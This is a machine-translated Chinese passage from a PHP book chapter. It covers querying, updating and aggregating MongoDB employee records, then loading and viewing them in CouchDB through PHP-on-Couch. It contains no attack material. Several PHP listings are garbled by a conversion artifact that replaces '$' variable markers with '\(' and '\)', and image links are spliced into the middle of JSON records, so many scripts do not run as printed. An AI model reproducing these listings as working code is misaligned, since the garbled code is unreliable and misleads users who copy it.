{ "_id" : ObjectId("4d2630f7da50c38237000005"), "empno" : 7698, "ename" : "BLAKE",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "MANAGER", "mgr" : 7839, "hiredate" : "01-MAY-81", "sal" : 2850, "deptno" : 30 } { "_id" : ObjectId("4d2630f7da50c38237000006"), "empno" : 7782, "ename" : "CLARK",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "MANAGER", "mgr" : 7839, "hiredate" : "09-JUN-81", "sal" : 2450, "deptno" : 10 } { "_id" : ObjectId("4d2630f7da50c38237000007"), "empno" : 7788, "ename" : "SCOTT",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "ANALYST", "mgr" : 7566, "hiredate" : "19-APR-87", "sal" : 3000, "deptno" : 20 } { "_id" : ObjectId("4d2630f7da50c38237000008"), "empno" : 7839, "ename" : "KING",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "PRESIDENT", "hiredate" : "17-NOV-81", "sal" : 5000, "deptno" : 10 } { "_id" : ObjectId("4d2630f7da50c38237000009"), "empno" : 7844, "ename" : "TURNER",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "SALESMAN", "mgr" : 7698, "hiredate" : "08-SEP-81", "sal" : 1500, "comm" : 0,![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "deptno" : 30 } { "_id" : ObjectId("4d2630f7da50c3823700000a"), "empno" : 7876, "ename" : "ADAMS",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "CLERK", "mgr" : 7788, "hiredate" : "23-MAY-87", "sal" : 1100, "deptno" : 20 } { "_id" : ObjectId("4d2630f7da50c3823700000b"), "empno" : 7900, "ename" : "JAMES",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "CLERK", "mgr" : 7698, "hiredate" : "03-DEC-81", "sal" : 950, "deptno" : 30 } { "_id" : ObjectId("4d2630f7da50c3823700000c"), "empno" : 7902, "ename" : "FORD",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "ANALYST", "mgr" : 7566, "hiredate" : "03-DEC-81", "sal" : 3000, "deptno" : 20 } { "_id" : ObjectId("4d2630f7da50c3823700000d"), "empno" : 7934, "ename" : "MILLER",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "CLERK", "mgr" : 7782, "hiredate" : "23-JAN-82", "sal" : 1300, "deptno" : 10 }
我们的收藏现在有了一个独特的索引。如果我们试图重新执行清单 7-1 中的脚本,结果将如下所示:
Exception: E11000 duplicate key error index: scott.emp.$empno_1 dup key: { : 7369 }
如果插入调用没有一个safe
参数,就不会抛出异常。当将数据加载到已经存在的具有惟一索引的集合中时,这是一件相当实用的事情。此外,使用safe
意味着每次插入都将等待,直到所有之前的插入都被物理地写入数据库。换句话说,我们的小脚本将导致每个文档至少一个 I/O,这对于大数据负载来说可能是一个不可接受的性能损失。MongoDB 最常用于数据负载非常大的数据仓库——多达数千万个文档。在这种情况下,使用safe
写作可能不是一个好主意。通常的做法是使用safe
插入最后一个文档,这将大大提高性能。safe
参数也可以用来指定在插入被认为完成之前必须拥有信息的从机数量,但是复制和集群安装的复杂性超出了本书的范围。
查询 MongoDB
现在,让我们做一些查询。清单 7-2 是第一个也是最基本的例子。如前所述,MongoDB 不是一个 SQL 数据库,所以对于那些以前从未使用过 NoSQL 数据库的人来说,它的语法看起来很陌生。
清单 7-2。查询 MongoDB 的基本示例
<?php $host = 'localhost:27017'; $dbname = 'scott'; $colname = "emp"; try { $conn=new Mongo($host); $db=$conn->selectDB($dbname); $coll=$conn->selectCollection($dbname,$colname); $cursor = $coll->find(array("deptno"=>20)); $cursor->sort(array("sal"=>1)); foreach($cursor as $c) { foreach($c as $key => $val) { if ($key != "_id") { print "$val\t"; } } print "\n"; } }
catch(MongoException $e) { print "Exception:\n"; die($e->getMessage()."\n"); } ?>
这个脚本引入了由find
方法返回的光标对象。Cursor 只是一个迭代对象(实现接口“Iterator”),表示查询的结果,可以在foreach
循环中以类似数组的方式使用。这个准数组的elements
是查询返回的文档。每个文档都是一个关联数组,PHP 用它来表示 MongoDB 文档。执行该脚本时,输出将如下所示:
7369 SMITH CLERK 7902 17-DEC-80 800 20 7876 ADAMS CLERK 7788 23-MAY-87 1100 20 7566 JONES MANAGER 7839 02-APR-81 2975 20 7788 SCOTT ANALYST 7566 19-APR-87 3000 20 7902 FORD ANALYST 7566 03-DEC-81 3000 20
只有来自deptno=20
的雇员被返回,因为这是我们查询的条件。然后文档按薪水排序(属性为sal
)。直到foreach
循环,查询才真正执行。要检索所有文档,只需使用不带参数的find()
方法。
这是一个非常简单的查询,要求所有属性等于 20 的文档。MongoDB 能做的远不止这些。MongoDB 查询可以跳过指定数量的文档,并限制查询返回的文档数量。对于那些使用过开源数据库的人来说,这完全类似于 MySQL 或 PostgreSQL limit
和offset
查询选项。此类查询语法的一个示例如下所示:
$cursor = $coll->find()->skip(3)->limit(5);
如果将它放入清单 7-2 的脚本中,而不是放入指定deptno=20
标准的那一行,结果将如下所示:
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30 7654 MARTIN SALESMAN 7698 28-SEP-81 1250 1400 30 7934 MILLER CLERK 7782 23-JAN-82 1300 10 7844 TURNER SALESMAN 7698 08-SEP-81 1500 0 30 7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
前三个文档被跳过,只返回了五个文档。到目前为止,我们只看到一个简单的等式条件。下一个查询将返回所有属性大于 2900 的文档:
$cursor = $coll->find(array("sal"=> array('$gt'=>2900)));
注意嵌套数组中的$gt
。MongoDB 有操作符$lt
、$gt
、$lte
、$gte
和$ne
,分别代表“小于”、“大于”、“小于或等于”、“大于或等于”和“不等于”。这些操作符的语法很简单:用一个带参数的关联数组代替普通值,就像上面的代码行一样。还可以使用 count()函数对光标中的文档进行计数,如下所示:
printf("%d documents were extracted.\n",$cursor->count());
请注意skip
和limit
选项不会改变计数。换句话说,在显示$cursor = $coll->find()->skip(3)->limit(5),
的行中,光标计数仍然是 14。MongoDB 还知道如何进行in
查询。以下查询将返回“deptno”等于 10 或 20 的所有文档:
$cursor = $coll->find(array("deptno"=> array('$in'=>array(10,20))));
当然,同样的语法也适用于$nin
(“not in”)操作符。也可以进行exists
查询。下面一行将只返回具有comm
(如“佣金”)属性的文档:
$cursor = $coll->find(array("comm"=> array('$exists'=>true)));
下面正好相反的一行将只返回没有comm
属性的文档:
$cursor = $coll->find(array("comm"=> array('$exists'=>false)));
MongoDB 也可以使用正则表达式进行查询。清单 7-3 将只返回 12 月份雇佣的员工的文档。
清单 7-3。 MongoDB 可以使用正则表达式进行查询
`<?php
\(host = 'localhost:27017';
\)dbname = 'scott';
\(colname = "emp";
try {
\)conn=new Mongo(\(host);
\)db=\(conn->selectDB(\)dbname);
\(coll=\)conn->selectCollection(\(dbname,\)colname);
$cursor = \(coll->find(array("hiredate"=>
new MongoRegex("/\d{2}-dec-\d{2}/i")));
\)cursor->sort(array("deptno"=>1,"sal"=>1));
\(cursor->sort(array("sal"=>1));
foreach(\)cursor as \(c) {
foreach(\)c as $key => \(val) {
if (\)key != "_id") { print "\(val\t"; }
}
print "\n";
}
printf("%d documents were extracted.\n",\)cursor->count());
}
catch(MongoException \(e) {
print "Exception:\n";
die(\)e->getMessage()."\n");
}
?>`
正则表达式/\d{2}-dec-\d{2}/i
与 PHP preg
的各种正则表达式具有相同的语法。这个特殊的正则表达式是这样翻译的:两个数字代表一个月中的第几天(\d{2}
,后面是字符串-dec-
,再后面是另外两个数字,代表年份。正则表达式末尾的/i
表示表达式不区分大小写。特别是dec
和DEC
都会匹配。该脚本执行将产生以下结果:
7369 SMITH CLERK 7902 17-DEC-80 800 20 7900 JAMES CLERK 7698 03-DEC-81 950 30 7902 FORD ANALYST 7566 03-DEC-81 3000 20 3 documents were extracted.
当然,也有可能反其道而行之,匹配所有不符合正则表达式的内容。下面的代码片段就可以做到这一点:
$cursor = $coll->find(array("hiredate"=> array('$not' => new MongoRegex("/\d{2}-dec-\d{2}/i"))));
请注意,我们正在使用 MongoRegex 类型来让 MongoDB 知道这是一个正则表达式。本章开头提到了类型的类。这是其中之一。当我们将注意力转向更新 MongoDB 时,将演示 MongoDate 类。最后,MongoDB 还有$where
操作符,它使用 JavaScript 语法:
$cursor = $coll->find(array('$where'=> 'this.deptno >= 10 & this.deptno<=20'));
这个表达式中的关键字this
大致类似于 PHP 中的变量$this
;它指向当前处于焦点的类的当前实例。JavaScript 和 PHP 都是面向对象的,语法相似。
到目前为止,我们已经集中讨论了如何定位所需的文档。我们还可以定义哪些属性(也称为字段)将在结果集中返回。在清单 7-4 中,我们可以摆脱烦人的对象 id 检查,否则会使我们的输出看起来很难看。在清单 7-4 脚本中,不再需要检查返回的字段是否是对象 id。
清单 7-4。定义结果集中返回哪些属性
<?php $host = 'localhost:27017'; $dbname = 'scott'; $colname = "emp"; try { $conn=new Mongo($host); $db=$conn->selectDB($dbname); $coll=$conn->selectCollection($dbname,$colname); $cursor = $coll->find(array('$where'=> 'this.deptno >= 10 & this.deptno<=20')); $cursor->sort(array("deptno"=>1,"sal"=>1)); $cursor->fields(array("ename"=>true, "job"=>true, "deptno"=>true, "hiredate"=>true, "sal"=>true, "_id"=>false)); foreach($cursor as $c) { foreach($c as $key => $val) { print "$val\t"; } print "\n"; }
` printf("%d documents were extracted.\n",$cursor->count());
}
catch(MongoException \(e) {
print "Exception:\n";
die(\)e->getMessage()."\n");
}
?>`
在 MongoDB 的当前版本中,除了对象id
,不能混合字段包含和排除。对象id
仍然会显示,除非它被明确排除。然而,丑陋的如果($key != "_id"
)部分不再需要了。以下是该脚本的输出:
MILLER CLERK 23-JAN-82 1300 10 CLARK MANAGER 09-JUN-81 2450 10 KING PRESIDENT 17-NOV-81 5000 10 SMITH CLERK 17-DEC-80 800 20 ADAMS CLERK 23-MAY-87 1100 20 JONES MANAGER 02-APR-81 2975 20 SCOTT ANALYST 19-APR-87 3000 20 FORD ANALYST 03-DEC-81 3000 20 8 documents were extracted.
更新 MongoDB
本章的这一部分将向您展示如何更新 MongoDB。语法简单明了,所以我还将提到数据仓库领域的一些设计问题。我们的小收藏很好地服务了我们,但是它也有一些缺点。首先,hiredate
属性存储为一个字符串,这使得按日期排序文档几乎不可能。其次,MongoDB 不能进行连接,所以我们必须将部门信息包含到我们的小集合中。部门编号远不如部门名称和位置清晰易懂。MongoDB 不是关系数据库,所以我们必须将其“反规范化”。在关系世界中,设计看起来像图 7-1 。
图 7-1。 MongoDB 采集信息设计
事实上,任何参加过 Oracle 课程的人都应该很容易认出这两个表。因为在 MongoDB 中不可能有连接,所以最好的办法就是将图 7-1 中两个表的信息放入一个集合中。这就是所谓的反规范化,在构建于各种数据库而不仅仅是 MongoDB 上的数据仓库领域,这是一种非常常见的做法。好消息是,使用 MongoDB,不需要复杂的 alter table 来实现这一点;我们所需要的只是更新文档本身。清单 7-5 显示了完成所有这些更新的脚本。
清单 7-5。脚本更新文档
`<?php
\(host = 'localhost:27017';
\)dbname = 'scott';
\(colname = "emp";
try {
\)conn=new Mongo(\(host);
\)db=\(conn->selectDB(\)dbname);
\(coll=\)conn->selectCollection(\(dbname,\)colname);
$cursor = \(coll->find();
foreach(\)cursor as \(c) {
switch(\)c["deptno"]) {
case 10:
\(c["dname"]="ACCOUNTING";
\)c["loc"]="NEW YORK";
break;
case 20:
\(c["dname"]="RESEARCH";
\)c["loc"]="DALLAS";
break;
case 30:
\(c["dname"]="SALES";
\)c["loc"]="CHICAGO";
break;
case 40:
\(c["dname"]="OPERATIONS";
\)c["loc"]="BOSTON";
break;
}
\(c["hiredate"]=new MongoDate(strtotime(\)c["hiredate"]));
\(coll->update(array("_id"=>\)c["_id"]),$c);
}
}
catch(MongoException \(e) {
print "Exception:\n";
die(\)e->getMessage()."\n");
}
?>`
首先要注意的是,update
方法属于collection
类,而不属于cursor
类。cursor
类仅用于遍历集合并为更新准备值。更新本身接受以下参数:定位要更新的文档的标准、将在它们的位置写入的实际文档以及选项数组。update
方法也支持safe
选项,就像insert
方法一样。如果清单 7-2 中的脚本被重新执行,它会向我们显示难以理解的大数字,代替我们曾经漂亮的hiredate
属性。MongoDB 将日期存储为自纪元以来的毫秒数。纪元当然是 1970 年 1 月 1 日 00:00:00。如果我们使用 mongo shell 而不是清单 7-2 中的脚本,结果如下所示:
`> db.emp.find({"deptno":10});
{ "_id" : ObjectId("4d2630f7da50c38237000006"), "empno" : 7782, "ename" : "CLARK",
"job" : "MANAGER", "mgr" : 7839, "hiredate" : "Tue Jun 09 1981 00:00:00 GMT-0400 (EDT)",
"sal" : 2450, "deptno" : 10, "dname" : "ACCOUNTING", "loc" : "NEW YORK" }
{ "_id" : ObjectId("4d2630f7da50c38237000008"), "empno" : 7839, "ename" : "KING",
"job" : "PRESIDENT", "hiredate" : "Tue Nov 17 1981 00:00:00 GMT-0500 (EST)", "sal" : 5000,
"deptno" : 10, "dname" : "ACCOUNTING", "loc" : "NEW YORK" }
{ "_id" : ObjectId("4d2630f7da50c3823700000d"), "empno" : 7934, "ename" : "MILLER",
"job" : "CLERK", "mgr" : 7782, "hiredate" : "Sat Jan 23 1982 00:00:00 GMT-0500 (EST)",
"sal" : 1300, "deptno" : 10, "dname" : "ACCOUNTING", "loc" : "NEW YORK" }
`
mongo shell 揭示了hiredate
属性具有适当日期的所有特征。我们只需要适当地格式化它,我们的小脚本将是完美的。对 www.php.net 的MongoDate
类的描述表明,MongoDate 有两个公共属性:sec
表示自纪元以来的秒,usec
表示自纪元以来的毫秒。我们现在可以使用内置函数 strftime 来正确格式化结果,如下所示:
foreach($c as $key => $val) { if ($val instanceof MongoDate) { printf("%s\t",strftime("%m/%d/%Y",$val->sec)); } else { print "$val\t"; } }
经过这一修改,清单 7-4 中的脚本现在将产生可读的预期输出:
MILLER CLERK 01/23/1982 1300 10 CLARK MANAGER 06/09/1981 2450 10 KING PRESIDENT 11/17/1981 5000 10 SMITH CLERK 12/17/1980 800 20 ADAMS CLERK 05/23/1987 1100 20 JONES MANAGER 04/02/1981 2975 20 SCOTT ANALYST 04/19/1987 3000 20 FORD ANALYST 12/03/1981 3000 20 8 documents were extracted.
有了像正确的日期/时间类型那样存储的hiredate
属性,现在可以按日期对文档进行排序,并获得正确的时间顺序。此外,我们的emp
集合现在包含了关于部门的信息,这比仅仅是一个数字有用得多。我们刚刚向构建合适的数据仓库迈出了第一步。
MongoDB 中的聚合
当然,适当的数据仓库用于各种类型的趋势和聚集。我们研究了查询 MongoDB 的各种技术,但是目前还没有类似于 group by、sum 和关系数据库中的其他组函数。我们一直将 MongoDB 与关系数据库进行比较,因为 MongoDB 是这个领域的新手;这是一个数据库,其特定目的是简化数据仓库的创建。早在 MongoDB 之前,关系数据库就被用来操作数据仓库,因此对可用工具进行比较是完全合理的。传统数据仓库必须回答的一个问题是计算每个部门的工资总额。
MongoDB 不是关系数据库,所以传统的select deptno,sum(sal) from emp group by deptno
答案不适用。MongoDB 使用 Google map-reduce 框架来实现同样的事情。该框架首先在“工作人员”之间划分任务(这是“映射”阶段),然后处理“工作人员”的输出以产生所请求的信息;这是“减少”阶段。MongoDB 将 JavaScript 函数传递给工作进程,这种方法甚至比固定语法组函数如SUM
或COUNT
更强大。当然,缺点是 map/reduce 框架的完全使用需要 JavaScript 知识。JavaScript 本身超出了本书的范围,所以只讨论模拟关系数据库中的SUM
、COUNT
和AVG
函数的最基本的例子。此外,MongoDB 还有一个更重要的限制:到目前为止,所有现有的 JavaScript 引擎都是单线程的,这意味着,为了使用并行性,需要配置sharding
,这是在无共享集群中跨多个节点将数据库划分为多个数据集的 MongoDB 版本。这个限制可能会在未来的版本中删除。
下一个脚本将检索包含在sal
属性或我们的emp
集合中的工资总额,以及每个部门的雇员人数和该部门的平均工资。该脚本使用了属于集合类的group
方法。清单 7-6 展示了这个脚本。
清单 7-6。检索工资总额、每个部门的员工人数以及该部门的平均工资的脚本
`<?php
\(host = 'localhost:27017';
\)dbname = 'scott';
\(colname = "emp";
try {
\)conn = new Mongo(\(host);
\)db = \(conn->selectDB(\)dbname);
$coll = \(conn->selectCollection(\)dbname, \(colname);
\)keys = array("deptno" => 1);
\(initial = array('sum' => 0, 'cnt' => 0);
\)reduce = new MongoCode('function(obj,prev) { prev.sum += obj.sal;
prev.cnt++; }');
$finalize= new MongoCode('function(obj) { obj.avg = obj.sum/obj.cnt; }');
$group_by = \(coll->group(\)keys,
\(initial,
\)reduce,
array('finalize'=>\(finalize));
foreach (\)group_by['retval'] as \(grp) {
foreach (\)grp as $key => $val) {
printf("%s => %s\t", $key, $val);
}
print "\n";
}
}
catch(MongoException \(e) {
print "Exception:\n";
die(\)e->getMessage() . "\n");
}
?>`
map-reduce 算法是递归的。reduce
函数有两个参数:正在处理的当前对象和带有在initial
变量中指定的属性的对象的前一个值。MongoDB 将遍历数据集,并递归地计算总和以及计数。完成后,它将对结果执行finalize
功能。finalize
函数的参数是结果中的对象,包含deptno
、count
和sum
。finalize
函数将添加avg
成员。该脚本的输出如下所示:
deptno => 20 sum => 10875 cnt => 5 avg => 2175 deptno => 30 sum => 9400 cnt => 6 avg => 1566.6666666667 deptno => 10 sum => 8750 cnt => 3 avg => 2916.6666666667
结果将存储在变量$group_by
中,该变量本身是一个关联数组,不仅包含操作的结果,还包含关于组的数量、在计算聚合的过程中遍历的文档数量以及操作的最终状态的信息。结果的结构可以通过print_r
这个调试最常用的函数来揭示。print_r
函数将变量结构转储到标准输出。在清单 7-6 中的脚本的情况下,结果看起来像这样:
`Array
(
[retval] => Array
(
[0] => Array
(
[deptno] => 20
[sum] => 10875
[cnt] => 5
[avg] => 2175
)
[1] => Array
(
[deptno] => 30
[sum] => 9400
[cnt] => 6
[avg] => 1566.6666666667
)
[2] => Array
(
[deptno] => 10
[sum] => 8750
[cnt] => 3
[avg] => 2916.6666666667
)
)
[count] => 14
[keys] => 3
[ok] => 1
)`
retval
项将包含我们想要的返回值。count
项将包含流程中访问过的文档的数量,而keys
项将包含在数据集中发现的不同组键的数量。OK
是命令的返回状态;如果有问题,这将包含 0。
另外,请注意,我们在脚本中使用了MongoCode
类,类似于使用正则表达式查询部分中的 MongoRegex 或更新示例中的MongoDate
。JavaScript 本身就是一种强大的面向对象语言,可以用来计算比求和、计数或平均复杂得多的集合。这里还有一个通用 map-reduce 框架:
https://github.com/infynyxx/MongoDB-MapReduce-PHP
然而,对 map-reduce 和 JavaScript 聚合的进一步讨论需要 JavaScript 知识,因此超出了本书的范围。
MongoDB 结论
MongoDB 在数据库领域是一个相对较新的东西,并且是 NoSQL 数据库中最受欢迎的。它是构建数据仓库的一个很好的工具,特别是因为它能够充分利用所谓的“无共享集群架构”它是一个开源数据库,这使它成为构建高性能数据仓库的理想选择。它也有很好的文档记录、很好的支持,并且易于安装、集成到 PHP 和测试。此外,因为它太新了,几乎每天都有更新的版本发布,所以人们必须带着一种冒险的精神来对待 MongoDB 这个项目。
今天,由于许多原因,RDBMS 软件仍然占主导地位。原因之一是标准数据操作语言 SQL 的可用性,而 NoSQL 数据库没有标准化。我们的下一个数据库将是 CouchDB,这是一个 Apache 项目,本质上类似于 MongoDB。
CouchDB 简介
CouchDB 是由 Apache 基金会领导的一个开源项目。它也是一个无模式的 NoSQL 数据库,具有多版本一致性控制(MVCC)。MVCC 是一种机制,它允许数据库中的同一文档有多个版本。安装 CouchDB 很容易;每个主要操作系统都有相应的软件包。Windows 7 上有一个二进制安装程序,还有针对各种 Linux 发行版和 Unix 系统的软件包。一般来说,安装非常简单明了。然而,CouchDB 主要是一个 Linux 数据库。
虽然 MongoDB 和 CouchDB 都是无模式的,但 CouchDB 比 MongoDB 更一贯地无模式。CouchDB 没有任何类似集合的实体。整个数据库是一个无定形的文档集合。为了使数据库的组织更容易,CouchDB 使用用户定义的视图,编写为 JavaScript 函数,利用 Google map-reduce 框架来组织文档。
和 MongoDB 一样,文档是 JSON 对象。MongoDB 驱动负责将 PHP 关联数组与 JSON 对象相互转换;CouchDB 不会这么做。CouchDB 通过使用 HTTP 协议与外界通信,并返回和接受 JSON 对象。为了方便与 CouchDB 的通信,使用 PECL 安装工具安装 PHP JSON 扩展当然是有帮助的。该扩展提供了函数json_encode
和json_decode
,用于在 PHP 关联数组和 JSON 对象之间进行转换。因为这样的架构,CouchDB 的 PHP 库不需要链接,比如 MongoDB 的 PHP 扩展。CouchDB 最流行的 PHP 库是 PHP-on-Couch,可以从
https://github.com/dready92/PHP-on-Couch
这个库不需要特殊安装。它可以在任何地方下载,并使用include
和require
命令包含在脚本中。如此简单的原因正是 CouchDB 通过使用标准的 HTTP 协议与外界通信。在 Linux 上,有用于与 HTTP 服务器通信的命令行工具。其中最受欢迎的是curl
,它在使用 CouchDB 时非常有用。第一个命令只打印欢迎屏幕并检查 CouchDB 是否处于活动状态,通常如下所示:
curl http://localhost:5984 {"couchdb":"Welcome","version":"1.0.1"}
curl
实用程序联系了主机localhost
上的 HTTP 服务器,IP 地址为 127.0.0.1,端口为 5984,服务器回复了一个 JSON 对象,与表单一致。让我们用一个小脚本解析 JSON 对象,如下所示:
<? $a='{"couchdb":"Welcome","version":"1.0.1"}'; print_r(json_decode($a,true)); ?>
结果将如下所示:
Array ( [couchdb] => Welcome [version] => 1.0.1 )
换句话说,json_decode
函数已经将 CouchDB 返回的 JSON 对象转换成了 PHP 关联数组。
使用蒲团
CouchDB 可以接受 HTTP 命令,当然也可以使用curl -X PUT [
localhost:5984/dbname](http://localhost:5984/dbname)
命令创建数据库;使用名为 Futon 的 CouchDB 管理界面要舒服得多。可以使用您最喜欢的网络浏览器并将其指向[
localhost:5984/_utils](http://localhost:5984/_utils)
来访问该界面。如果服务器不在本地主机上,您应该替换为服务器名称和端口。它是可配置的。在 Opera 中,结果看起来像图 7-2 。
图 7-2。 Futon 可以帮助您创建数据库和收藏。
创建数据库本身就很简单。在左上角,有一个创建数据库按钮。点击它,在对话框中输入 scott 作为数据库名称,发送到数据库。瞧啊。创建了名为“scott”的数据库!参见图 7-3 。
图 7-3。数据库名为“斯科特”
蒲团还可以帮助我们创建视图。视图是用户定义的 JavaScript 函数,实现了 Google 的 map-reduce 协议。第一次评估视图时,会对数据库中的每个文档进行计算,结果存储在 B 树索引中。这种情况只在第一次创建视图时发生。之后,只有添加或更改的文档通过view
功能运行。因此,为了创建视图,让我们首先创建一些文档。是时候让我们的第一个 PHP 脚本访问 CouchDB 了。它将创建与 MongoDB 相同的“emp”结构。参见清单 7-7 。
清单 7-7。 PHP 脚本访问 CouchDB
`<?php
require_once("PHP-on-Couch/couch.php");
require_once("PHP-on-Couch/couchClient.php");
require_once("PHP-on-Couch/couchDocument.php");
\(host = 'http://localhost:5984';
\)dbname = 'scott';
\(EMP = array(
array("empno" => 7369, "ename" => "SMITH", "job" => "CLERK",
"mgr" => 7902,"hiredate" => "17-DEC-80", "sal" => 800,
"deptno" => 20,"_id" => "7369"),
array("empno" => 7499, "ename" => "ALLEN", "job" => "SALESMAN",
"mgr" => 7698, "hiredate" => "20-FEB-81", "sal" => 1600,
"comm" => 300,"deptno"=>30,"_id" => "7499"),
array("empno"=>7521,"ename"=>"WARD","job"=>"SALESMAN","mgr"=>7698,
"hiredate"=>"22-FEB-81","sal"=>1250,"comm"=>500, "deptno" => 30,
"_id" => "7521"),
array("empno" => 7566, "ename" => "JONES", "job" => "MANAGER",
"mgr" => 7839, "hiredate" => "02-APR-81", "sal" => 2975,
"deptno" => 20, "_id" => "7566"),
array("empno" => 7654, "ename" => "MARTIN", "job" => "SALESMAN",
"mgr" => 7698, "hiredate" => "28-SEP-81", "sal" => 1250,
"comm" => 1400,"deptno"=>30, "_id"=>"7654"),
array("empno"=>7698,"ename"=>"BLAKE","job"=>"MANAGER","mgr"=>7839,
"hiredate"=>"01-MAY-81","sal"=>2850,"deptno"=>30,"_id" => "7698"),
array("empno"=>7782,"ename"=>"CLARK","job"=>"MANAGER","mgr"=>7839,
"hiredate"=>"09-JUN-81","sal"=>2450,"deptno"=>10,"_id" => "7782"),
array("empno"=>7788,"ename"=>"SCOTT","job"=>"ANALYST","mgr"=>7566,
"hiredate"=>"19-APR-87","sal"=>3000,"deptno"=>20,"_id" => "7788"),
array("empno"=>7839,"ename"=>"KING","job"=>"PRESIDENT",
"hiredate" => "17-NOV-81", "sal" => 5000, "deptno" => 10,
"_id" => "7839"),` ` array("empno" => 7844, "ename" => "TURNER", "job" => "SALESMAN",
"mgr" => 7698, "hiredate" => "08-SEP-81", "sal" => 1500,
"comm" => 0,"deptno"=>30,"_id" => "7844"),
array("empno"=>7876,"ename"=>"ADAMS","job"=>"CLERK","mgr"=>7788,
"hiredate"=>"23-MAY-87","sal"=>1100,"deptno"=>20,"_id" => "7876"),
array("empno"=>7900,"ename"=>"JAMES","job"=>"CLERK","mgr"=>7698,
"hiredate"=>"03-DEC-81","sal"=>950,"deptno"=>30,"_id" => "7900"),
array("empno"=>7902,"ename"=>"FORD","job"=>"ANALYST","mgr"=>7566,
"hiredate"=>"03-DEC-81","sal"=>3000,"deptno"=>20,"_id" => "7902"),
array("empno"=>7934,"ename"=>"MILLER","job"=>"CLERK","mgr"=>7782,
"hiredate"=>"23-JAN-82","sal"=>1300,"deptno"=>10,"_id" => "7934"));
try {
\)db=new couchClient(\(host,\)dbname);
foreach($EMP as \(e) {
\)doc=new couchDocument(\(db);
\)doc->set(\(e);
\)doc->record();
}
}
catch(Exception \(e) {
printf("Exception code:%d\n",\)e->getCode());
printf("%s\n",$e->getMessage());
exit(-1);
}
?>`
提供连接的类couchClient
和couchDocument
由包含在include
路径的PHP-on-Couch
目录中的初始文件提供。目录的名称是任意的,因为没有安装过程。这里的目录被命名为PHP-on-Couch
,并放入include_path
参数中指定的目录中。include_path
参数是 PHP 解释器的参数,通常在php.ini
配置文件中指定。除了包含文件和加载数据的实际过程之外,这看起来几乎与关于 MongoDB 的清单 7-1 相同。主要区别在于,empno
属性在_id
属性中是重复的,它是一个字符串。CouchDB 允许我们为 ID 分配自己的字符串。当然,ID 必须是唯一的,并且必须是字符串,而不是数字。这就是为什么最初的empno
列没有简单地重命名为_id
。如果我们看一看我们友好的 Futon 界面,我们将看到新摄取的文档。参见图 7-4 。
图 7-4。蒲团界面新摄取的文件
CouchDB 通过 HTTP 协议进行通信,这意味着每条记录在浏览器中都是可见的。我们只需点击任何显示的文档就可以看到它。参见图 7-5 。
图 7-5。每条记录都可以在浏览器中看到。
标记为_rev
的修订字段也值得注意。仅显示最后一次修订,但可以检索任何修订。如前所述,CouchDB 有一个版本控制,并且完全符合 ACID。我还提到了 CouchDB 没有即席查询功能。这意味着,为了检索一个文档,必须通过_id
列查询它。清单 7-8 显示了一个检索和更新单个文档的小脚本。
清单 7-8。检索和更新单个文档的脚本
<?php require_once("PHP-on-Couch/couch.php"); require_once("PHP-on-Couch/couchClient.php"); require_once("PHP-on-Couch/couchDocument.php"); $host = 'http://localhost:5984'; $dbname = 'scott'; try { $db=new couchClient($host,$dbname); $doc = couchDocument::getInstance($db,'7844'); $doc->sal=1500; $doc->record(); } catch(Exception $e) { printf("Exception code:%d\n",$e->getCode()); printf("%s\n",$e->getMessage()); exit(-1); } ?>
该脚本将检索带有id='7844'
的文档,将其sal
属性更新为 1500,并将其存储回来。这个类对于查询文档来说并不完美;它使用一个静态的类函数getInstance
,在类上下文中调用。这意味着该函数没有作为对象成员被调用;没有调用函数getInstance
的对象上下文。文档类也使用__get
和__set
函数来设置文档的属性。
如果您将文档放回蒲团中检查,您将会看到它的修订已经增加。不幸的是,没有其他键的特别查询。要查询 CouchDB,必须创建一个文档视图。使用 map-reduce JavaScript 函数创建视图。第一次创建视图时,为数据库中的每个文档计算函数,结果存储在 B 树索引中。对于每个添加或修改的文档,索引都会发生变化。视图是使用蒲团创建的。在右上角,数据库的 Futon 视图有 View: selection 字段,它被设置为“All documents”。如果我们将选项滚动到临时视图选项,将出现创建临时视图的表单。视图创建和实现的细节超出了本书的范围。乔·列侬的优秀著作《开始 CouchDB 中对细节做了很好的描述。
出于本书的目的,我在表单中输入了以下 JavaScript 函数来创建名为deptno30
的视图,并存储在名为sal
的文档中。视图也是文档,存储在名为_design
的特殊数据库中。我们的观点是这样的:
function(doc) { if (doc.deptno==30) { emit(doc._id, { empno:doc.empno, ename: doc.ename, job: doc.job, mgr:doc.mgr, sal:doc.sal}); } }
该视图将只提取销售部门(部门编号为 30)的雇员的信息。应该注意,该函数返回(“发出”)两个项目:密钥和一个 JSON 文档。如果键为 NULL,CouchDB 将自动分配一个。
这个函数将在数据库中的每个文档上执行,如果deptno
属性等于 30,它将以 JSON 对象的形式向视图发出empno
、ename
、job
、mgr
和sal
属性。视图将用id="sal"
和name="deptno30"
保存在文档中。现在我们有了一个可以查询的数据库结构,这个脚本本身很简单,看起来像清单 7-9 。
清单 7-9。
<?php require_once("PHP-on-Couch/couch.php"); require_once("PHP-on-Couch/couchClient.php"); require_once("PHP-on-Couch/couchDocument.php"); $host = 'http://localhost:5984'; $dbname = 'scott'; try { $db=new couchClient($host,$dbname); $deptno30=$db->asArray()->getView('sal','deptno30');
